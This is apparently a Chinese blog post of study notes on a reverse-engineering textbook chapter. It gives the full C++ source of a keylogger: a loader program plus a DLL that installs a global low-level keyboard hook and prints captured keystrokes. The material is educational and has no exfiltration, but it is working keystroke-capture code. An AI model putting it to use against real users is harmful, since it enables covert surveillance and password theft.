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逆向工程核心原理 Chapter22 | 恶意键盘记录器

news 来源：原创 2024/9/20 15:16:31

教程这一章没给具体的实现，这里在Chapter21学习的基础上，试着实现一个键盘记录器。

键盘记录器实现

这里有个技术问题：记录下的敲击键（在KeyHook.dll中捕获的）（可以用wParam）怎么打印出来（在HookMain.exe中）？

第一种：记录在本地文件。这种实现比较简单。

第二种：与HookMain.exe通信。这种可以学到更多Windows编程知识。

这里实现第二种：

通信实现键盘记录

HookMain.cpp:

#include<iostream>
#include<Windows.h>#define LOAD_DLL "KeyHook.dll"
typedef void(*func)(); // 函数指针
signed main() {HMODULE hDll = NULL;func HookStart = NULL;func HookStop = NULL;char ch = 0;hDll = LoadLibraryA(LOAD_DLL);HookStart = (func)GetProcAddress(hDll, "HookStart");HookStop = (func)GetProcAddress(hDll, "HookStop");HookStart();HookStop();FreeLibrary(hDll);return 0;
}

KeyHook.cpp

要注意使用WH_KEYBOARD_LL！

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<conio.h>
using namespace std;HINSTANCE hInstance = NULL;
HHOOK hHook = NULL;
HWND hWnd = NULL;BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: // 进程创建时调用hInstance = hModule;break;case DLL_PROCESS_DETACH: // 进程结束时调用break;}return TRUE;
}LRESULT CALLBACK keyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam;/*typedef struct tagKBDLLHOOKSTRUCT {DWORD   vkCode;   // 按键代号DWORD   scanCode;  //硬件扫描代号DWORD   flags;  //事件类型 按下:0 抬起:128DWORD   time;ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;*/if (ks->flags == 128 || ks->flags == 129) {switch (ks->vkCode) {case 0x30: case 0x60:cout << "检测到按键：" << "0" << endl;break;case 0x31: case 0x61:cout << "检测到按键：" << "1" << endl;break;case 0x32: case 0x62:cout << "检测到按键：" << "2" << endl;break;case 0x33: case 0x63:cout << "检测到按键：" << "3" << endl;break;case 0x34: case 0x64:cout << "检测到按键：" << "4" << endl;break;case 0x35: case 0x65:cout << "检测到按键：" << "5" << endl;break;case 0x36: case 0x66:cout << "检测到按键：" << "6" << endl;break;case 0x37: case 0x67:cout << "检测到按键：" << "7" << endl;break;case 0x38: case 0x68:cout << "检测到按键：" << "8" << endl;break;case 0x39: case 0x69:cout << "检测到按键：" << "9" << endl;break;case 0x41:cout << "检测到按键：" << "A" << endl;break;case 0x42:cout << "检测到按键：" << "B" << endl;break;case 0x43:cout << "检测到按键：" << "C" << endl;break;case 0x44:cout << "检测到按键：" << "D" << endl;break;case 0x45:cout << "检测到按键：" << "E" << endl;break;case 0x46:cout << "检测到按键：" << "F" << endl;break;case 0x47:cout << "检测到按键：" << "G" << endl;break;case 0x48:cout << "检测到按键：" << "H" << endl;break;case 0x49:cout << "检测到按键：" << "I" << endl;break;case 0x4A:cout << "检测到按键：" << "J" << endl;break;case 0x4B:cout << "检测到按键：" << "K" << endl;break;case 0x4C:cout << "检测到按键：" << "L" << endl;break;case 0x4D:cout << "检测到按键：" << "M" << endl;break;case 0x4E:cout << "检测到按键：" << "N" << endl;break;case 0x4F:cout << "检测到按键：" << "O" << endl;break;case 0x50:cout << "检测到按键：" << "P" << endl;break;case 0x51:cout << "检测到按键：" << "Q" << endl;break;case 0x52:cout << "检测到按键：" << "R" << endl;break;case 0x53:cout << "检测到按键：" << "S" << endl;break;case 0x54:cout << "检测到按键：" << "T" << endl;break;case 0x55:cout << "检测到按键：" << "U" << endl;break;case 0x56:cout << "检测到按键：" << "V" << endl;break;case 0x57:cout << "检测到按键：" << "W" << endl;break;case 0x58:cout << "检测到按键：" << "X" << endl;break;case 0x59:cout << "检测到按键：" << "Y" << endl;break;case 0x5A:cout << "检测到按键：" << "Z" << endl;break;case 0x6A:cout << "检测到按键：" << "*" << endl;break;case 0x6B:cout << "检测到按键：" << "+" << endl;break;case 0x6D:cout << "检测到按键：" << "-" << endl;break;case 0x6E:cout << "检测到按键：" << "." << endl;break;case 0x6F:cout << "检测到按键：" << "/" << endl;break;case 0x0D:cout << "检测到按键：" << "Enter" << endl;break;case 0xA0: case 0xA1:cout << "检测到按键：" << "Shift" << endl;break;case 0x08:cout << "检测到按键：" << "Backspace" << endl;break;case 0x20:cout << "检测到按键：" << "Space" << endl;break;}// return 1; // 直接return就不传递(也就是拦截下来)}return CallNextHookEx(NULL, nCode, wParam, lParam);
}#ifdef __cplusplus
extern "C" {
#endif__declspec(dllexport) void HookStart() {hHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardProc, hInstance, 0);if (hHook == 0) {cout << "hook failed!\n";}MSG msg;while (1) {if (PeekMessageA(&msg,NULL,NULL,NULL,PM_REMOVE)) {TranslateMessage(&msg);DispatchMessageW(&msg);}else Sleep(0);}}__declspec(dllexport) void HookStop() {if (hHook) {UnhookWindowsHookEx(hHook);hHook = NULL;}}
#ifdef __cplusplus
}
#endif